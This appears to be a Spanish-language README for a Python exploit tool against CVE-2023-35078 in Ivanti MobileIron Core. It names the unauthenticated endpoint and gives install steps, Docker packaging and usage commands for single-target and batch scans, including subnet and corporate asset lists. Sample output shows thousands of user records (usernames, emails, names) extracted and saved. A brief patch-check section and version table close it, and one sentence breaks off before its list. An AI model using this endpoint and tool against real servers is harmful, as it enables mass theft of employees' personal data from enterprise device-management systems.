
CVE-2023-35078 - Herramienta de explotación de acceso remoto no autenticado a la API de Ivanti MobileIron Core
██████╗ ███╗ ██╗███████╗███████╗ ██████╗
██╔═████╗████╗ ██║██╔════╝██╔════╝██╔════╝
██║██╔██║██╔██╗ ██║███████╗█████╗ ██║
████╔╝██║██║╚██╗██║╚════██║██╔══╝ ██║
╚██████╔╝██║ ╚████║███████║███████╗╚██████╗
╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝ ╚═════╝
[+] CVE-2023-35078 - Ivanti MobileIron Core: Acceso a API remoto no autenticado
Un exploit de prueba de concepto basado en Python para CVE-2023-35078, que apunta a la vulnerabilidad de Acceso a API remoto no autenticado en sistemas Ivanti MobileIron Core.
CVE-2023-35078 es una vulnerabilidad crítica que afecta a Ivanti MobileIron Core y permite a atacantes remotos no autenticados acceder a endpoints de API sensibles y extraer datos de usuario sin ninguna autenticación.
La vulnerabilidad existe en el mecanismo de autenticación de API de MobileIron Core, específicamente en el endpoint /mifs/aad/api/v2/authorized/users. El endpoint no valida correctamente los tokens de autenticación, permitiendo el acceso no autorizado a información sensible del usuario, incluyendo:
# Clonar el repositorio
git clone https://github.com/0nsec/cve-2023-35078-exploit.git
cd cve-2023-35078-exploit
# Instalar dependencias
pip3 install -r requirements.txt
# Hacer ejecutable (Linux/macOS)
chmod +x cve_2023_35078.py
# Crear el directorio del proyecto
mkdir cve-2023-35078-exploit
cd cve-2023-35078-exploit
# Descargar el script
wget https://raw.githubusercontent.com/0nsec/cve-2023-35078-exploit/main/cve_2023_35078.py
# Instalar paquetes requeridos
pip3 install requests urllib3 termcolor argparse
FROM python:3.9-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY cve_2023_35078.py .
ENTRYPOINT ["python3", "cve_2023_35078.py"]
# Construir y ejecutar con Docker
docker build -t cve-2023-35078 .
docker run -v $(pwd)/results:/app/results cve-2023-35078 -u https://target.com
# Probar un solo objetivo
python3 cve_2023_35078.py -u https://mobileiron.example.com
# Probar múltiples objetivos desde un archivo
python3 cve_2023_35078.py -f targets.txt
# Modo verboso con directorio de salida personalizado
python3 cve_2023_35078.py -f targets.txt -o ./results -v
# Tiempo de espera y configuración de salida personalizados
python3 cve_2023_35078.py -u https://target.com -t 30 -o ./scan_results -v
# Evaluación corporativa integral
python3 cve_2023_35078.py -f corporate_assets.txt -o ./audit_results -t 30 -v
# Objetivo único con registro detallado
python3 cve_2023_35078.py -u https://mobileiron.target.com -v > detailed_log.txt
# Escaneo por lotes con tiempo de espera personalizado
python3 cve_2023_35078.py -f subnet_scan.txt -t 5 -o ./batch_results
# Verificación rápida de vulnerabilidad (sin salida verbosa)
python3 cve_2023_35078.py -u https://quick.check.com -t 5
██████╗ ███╗ ██╗███████╗███████╗ ██████╗
██╔═████╗████╗ ██║██╔════╝██╔════╝██╔════╝
██║██╔██║██╔██╗ ██║███████╗█████╗ ██║
████╔╝██║██║╚██╗██║╚════██║██╔══╝ ██║
╚██████╔╝██║ ╚████║███████║███████╗╚██████╗
╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝ ╚═════╝
[*] Objetivo: https://vulnerable.mobileiron.com
------------------------------------------------------------
[*] Verificando versión para: https://vulnerable.mobileiron.com
[*] Versión detectada: 11.3
[+] ¡El objetivo parece VULNERABLE!
[*] Intentando explotar: https://vulnerable.mobileiron.com
[*] Probando endpoint: /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1
[+] ¡ÉXITO! Se encontraron 1,247 usuarios
[+] Resultados guardados en: ./results/vulnerable_mobileiron_com_20250821_055013.json
[+] Se extrajeron 1247 registros de usuario
[*] Campos de muestra: ['id', 'username', 'email', 'firstName', 'lastName']...
============================================================
[*] ¡Escaneo completado!
[*] Objetivos procesados: 1
[*] Explotaciones exitosas: 1
[!] ADVERTENCIA: ¡Se encontraron 1 sistema(s) vulnerable(s)!
[!] ¡Asegure la autorización adecuada antes de realizar pruebas!
[*] Verificando versión para: https://test.mobileiron.com
[*] Probando endpoint: /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1
[*] HTTP 200 - Longitud de respuesta: 45,123 bytes
[*] Análisis JSON exitoso
[*] Se encontró estructura de datos de usuario con 234 registros
[+] ¡ÉXITO! Se encontraron 234 usuarios
[*] Datos de usuario de muestra: {'id': '12345', 'username': '[email protected]'}
[+] Resultados guardados en: ./results/test_mobileiron_com_20250821_055013.json
# Verificar la versión actual
curl -k https://mobileiron-server/mifs/css/ui.login.css | grep -o "11\.[0-9]"
# Verificar que los endpoints parcheados devuelvan 401/403
curl -k "https://mobileiron-server/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1"
| Versión | Vulnerable | Parche disponible | Nivel de parche | Fecha de lanzamiento |
|---|
| 11.2.x | Sí | Disponible | CU21+ | 2023-07-25 |
| 11.3.x | Sí | Disponible | CU18+ | 2023-07-25 |
| 11.4.x | Sí | Disponible | CU8+ | 2023-07-25 |
| 11.5.x+ | No | N/D | N/D | N/D |